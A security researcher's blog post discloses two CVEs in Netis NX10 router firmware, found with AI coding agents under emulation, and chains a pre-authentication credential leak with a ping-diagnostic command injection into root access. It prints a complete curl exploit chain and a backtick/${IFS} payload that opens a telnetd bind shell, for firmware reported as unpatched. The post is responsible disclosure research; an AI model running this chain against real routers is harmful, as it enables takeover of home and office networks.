> ## Documentation Index
> Fetch the complete documentation index at: https://hackwithmike.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Netis NX10 Router: Two Vulnerabilities That Almost Felt Like a Backdoor

> How two vulnerabilities in the Netis NX10 chained into unauthenticated root command execution

After my Silverpeas research, I wanted to try something different from another open-source web application. Router firmware seemed like a good next step. I had recently watched Low Level's video, [I Hacked This Temu Router. What I Found Should Be Illegal.](https://www.youtube.com/watch?v=KsiuA5gOl1o), and it made me curious about how well AI coding agents could handle firmware extraction, binary analysis, and emulation.

<iframe className="w-full aspect-video rounded-xl" src="https://www.youtube.com/embed/KsiuA5gOl1o" title="I Hacked This Temu Router. What I Found Should Be Illegal. by Low Level" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowFullScreen />

I briefly tried a few other router images without finding anything worth pursuing. The Netis NX10 was the first one that worked out, and the vulnerabilities were almost ridiculous in their simplicity. **The final chain used two bugs to go from no credentials to a root shell on the router.** Both were so basic that the firmware almost felt like a CTF challenge rather than a production device.

<Warning>
  **Disclaimer** \
  \
  I found no evidence that either vulnerability was deliberately introduced. I use "backdoor" here because of how direct the path was, not as a claim about Netis's intent.
</Warning>

## Why the Netis NX10

The NX10 firmware was publicly downloadable and the V4 branch was newer than the versions covered by the existing public Netis research I found. It was also suitable for local emulation, which meant I could test the actual web interface and CGI binaries instead of relying only on static analysis.

I downloaded the official V4.0.1.5808 image and later repeated the testing against V3.0.0.4142. **Both firmware branches contained the same vulnerable behavior.**

## Review setup

This research used Anthropic's Claude and OpenAI's Codex models through a newer version of my security research harness. Compared with the loose, free-flowing agent setup I used for Silverpeas, this workflow gave different agents narrower research roles and added a separate validation step for testing candidates against a running target. The harness was still much less mature than it is today, but the research was already more structured.

Firmware emulation was new to me at the time. The LLMs introduced me to [FirmAE](https://github.com/pr0v3rbs/FirmAE), which I then added to the harness so the agents could inspect the extracted filesystem while interacting with the emulated router.

All dynamic testing was performed locally under FirmAE and QEMU. I did not test a physical NX10. V4.0.1.5808 needed one emulation-only adjustment because `/etc/passwd` and `/etc/group` pointed into a runtime filesystem that FirmAE left empty. I replaced those links with files containing the expected root entries so that Boa could start. The vulnerable `netis.cgi` binary was not modified. V3.0.0.4142 booted without that adjustment.

## Findings

| CVE                                                         | Result                                                | Access required       |
| ----------------------------------------------------------- | ----------------------------------------------------- | --------------------- |
| [CVE-2026-61516](/research/advisories/netis/cve-2026-61516) | Administrator credential disclosure through `sysinfo` | None                  |
| [CVE-2026-61517](/research/advisories/netis/cve-2026-61517) | OS command injection through the ping diagnostic      | Administrator session |

The command injection is authenticated when on its own, and the credential disclosure supplies the required administrator session, making **the complete chain an unauthenticated root RCE**. I scored the chained result as CVSS 3.1 9.8 Critical: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`.

### The command injection

The command injection was the first finding. One of the agents identified a simple shell-command construction in the router's ping diagnostic. A request to `/web/cgi-bin/skk_set.cgi` with `tools_set=1` and `type=1` reaches `pingHandler` in the stripped `bin/netis.cgi` binary. The handler reads the `IpAddr` parameter and places it directly into a command equivalent to:

```c wrap theme={null}
sprintf(command, "ping -c 4 -s 56 %s -W 1000 > %s &", ipAddr, outputFile);
system(command);
```

There was an input filter, but **it rejected only four characters**:

| Character | Byte   |
| --------- | ------ |
| Space     | `0x20` |
| Pipe      | `0x7c` |
| Semicolon | `0x3b` |
| Ampersand | `0x26` |

That still left most shell syntax available. Backtick command substitution passed the filter, and `${IFS}` supplied spaces without using a literal space. The following `IpAddr` value started a bind shell:

```text wrap theme={null}
`telnetd${IFS}-l${IFS}/bin/sh${IFS}-p${IFS}4444`
```

Boa and its CGI handlers ran as root, so the injected process was root as well. The vulnerability looked like a classic command-injection exercise: user input appended to a shell command, a four-character blocklist, and a standard `${IFS}` bypass.

#### Inaccurate initial assessment from the agents

The agents originally reported this as an unauthenticated root RCE. Their rationale was that a factory-state NX10 had no administrator password, and its setter actions were available without a session.

I pushed back on that assessment - my reasoning was that if the device had no configured administrator password and exposed the entire management interface, the lack of authentication was a property of the factory state. It doesn't mean this is an "unauthenticated" vulnerability.

Once I set an administrator password, unauthenticated requests to the diagnostic handler were redirected to the login page and did not execute. We also tested roughly 28 other setter actions, with the same result. Therefore, the command injection technically is only available to authenticated users, and its CVSS score should only be 7.2 High.

### The authentication bypass

The deeper pre-authentication review led to `/web/cgi-bin/skk_get.cgi?sysinfo`. The login page requested this endpoint without a session so that it could display basic device information. The response also included a `password` field:

```http wrap theme={null}
GET /web/cgi-bin/skk_get.cgi?sysinfo HTTP/1.1
Host: 192.168.1.1
```

```json wrap theme={null}
{
  "password": "<stored-admin-credential>",
  "...": "..."
}
```

I initially had trouble understanding what I was looking at. A pre-authentication request used by the login page was returning the administrator credential I had configured. It was not a temporary login challenge or a session identifier. More importantly, **the login handler accepted the disclosed value verbatim**:

```http wrap theme={null}
POST /web/cgi-bin/login.cgi HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded

password=<stored-admin-credential>
```

The response returned the plaintext administrator password, which is also a valid administrator session cookie. No password cracking or recovery of the original plaintext was required. I would argue that using the password hash as a reusable login token would probably be more secure that what is being implemented here.

Strictly speaking, this is an unauthenticated credential disclosure. In practice, it acts as an authentication bypass because the disclosed value can immediately be exchanged for an administrator session.

### Chaining both findings to root

With the credential disclosure in front of the command injection, the complete attack required three HTTP requests and a connection to the resulting shell:

```bash wrap theme={null}
# 1. Read the stored administrator credential without authentication.
PW=$(curl -s "http://ROUTER/web/cgi-bin/skk_get.cgi?sysinfo" \
  | grep -oE '"password":"[^"]*"' \
  | cut -d'"' -f4)

# 2. Exchange it for an administrator session.
curl -s -c ./jar -X POST \
  "http://ROUTER/web/cgi-bin/login.cgi" \
  --data-urlencode "password=$PW" >/dev/null

# 3. Start a root bind shell through the ping command.
curl -s -b ./jar -X POST \
  "http://ROUTER/web/cgi-bin/skk_set.cgi" \
  --data "tools_set=1&type=1" \
  --data-urlencode 'IpAddr=`telnetd${IFS}-l${IFS}/bin/sh${IFS}-p${IFS}4444`' \
  >/dev/null

# 4. Connect to the shell.
telnet ROUTER 4444
```

The router used a minimal BusyBox environment, so some commands I would normally use to demonstrate impact were missing. In particular, the image did not provide `id` or `uname`. Therefore I have to confirm our identity through `/proc/self/status` and `hostname` instead:

```sh wrap theme={null}
grep '^Uid:' /proc/self/status
hostname
```

The result showed filesystem UIDs of `0` and the hostname `Netis-NX10`, which also distinguished the guest from the host running QEMU.

<Frame caption="Chaining the unauthenticated credential disclosure with the ping command injection to obtain a root shell">
  <video controls preload="metadata" className="w-full aspect-video rounded-xl" src="https://mintcdn.com/hackwithmike/izx4bU9gYMaFXz7o/assets/videos/research/netis/netis-nx10-unauth-rce.webm?fit=max&auto=format&n=izx4bU9gYMaFXz7o&q=85&s=041415916945a1f60cbe3ec9c075cff2" aria-label="Demonstration of unauthenticated root command execution on an emulated Netis NX10" data-path="assets/videos/research/netis/netis-nx10-unauth-rce.webm">
    Your browser does not support embedded WebM video.
  </video>
</Frame>

### Affected firmware and impact

I reproduced the complete chain under emulation on both firmware branches available during testing (V4.0.1.5808 and V3.0.0.4142).

**An attacker who can reach the management interface can take full control of the router without knowing its administrator password.** Root access allows the attacker to read or change the device configuration, modify DNS and routing, access stored secrets, monitor or redirect traffic, install persistence, and use the router as a foothold into the local network.

The management interface is available from the LAN by default. A deployment that exposes remote administration could also make the chain reachable from the WAN.

## Some final thoughts

This research was a useful comparison with the earlier Silverpeas experiment. The Silverpeas review was mostly free-form: I pointed coding agents at areas of interest, reviewed their leads, and validated the promising ones manually. By the time I looked at Netis, I had started breaking the work into more deliberate stages and assigning separate agents to exploration, proof construction, and review.

The agents again made important contributions. They found the vulnerable command construction, introduced me to FirmAE, helped bring the firmware up under emulation, and found the credential disclosure after I redirected the search toward the pre-authentication surface.

However, the agents also inaccurately flagged the initial factory-state result as unauthenticated RCE. **As the human operator, I was able to spot the logic flaw and reject that result**, which led to the discovery of a proper authentication bypass and a stronger finding. Hey - at least I was still able to contribute :P.

Those problems influenced how I continued building my harness. My current version uses specialized agent swarms to explore different parts of the attack surface, but findings still have to pass a separate validator. The validator reproduces the exploit against a fresh local deployment, checks the required privileges and state, and records evidence that can be replayed without trusting the model's description. The framework is much more mature now, but the basic lesson from Netis remains the same: agents are very good at generating and tracing leads, while impact and correctness still need an independent gate.

## Disclosure timeline

| Date           | Event                                                           |
| -------------- | --------------------------------------------------------------- |
| June 2026      | The vulnerabilities were reproduced on the Netis NX10 firmware. |
| July 2026      | The findings were submitted to VulnCheck.                       |
| July 2026      | VulnCheck assigned CVE-2026-61516 and CVE-2026-61517.           |
| September 2026 | This research was published. No fixed firmware was known.       |

VulnCheck declined to coordinate directly with Netis because it could not identify a public security-reporting channel for the vendor. It asked me to publish the findings using the assigned IDs and indicated that it would populate the public CVE records afterward. At the time of publication, no fixed firmware had been confirmed.

## References

* [I Hacked This Temu Router. What I Found Should Be Illegal.](https://www.youtube.com/watch?v=KsiuA5gOl1o)
* [FirmAE firmware emulation framework](https://github.com/pr0v3rbs/FirmAE)
* [Netis NX10 product page](https://www.netis-systems.com/products/NX10.html)
* [CVE-2026-61516 advisory](/research/advisories/netis/cve-2026-61516)
* [CVE-2026-61517 advisory](/research/advisories/netis/cve-2026-61517)

## Acknowledgements

Thank you to Low Level for publishing the router-hacking video that inspired me to explore firmware security, and to VulnCheck for triaging the vulnerabilities and assigning the CVE IDs.
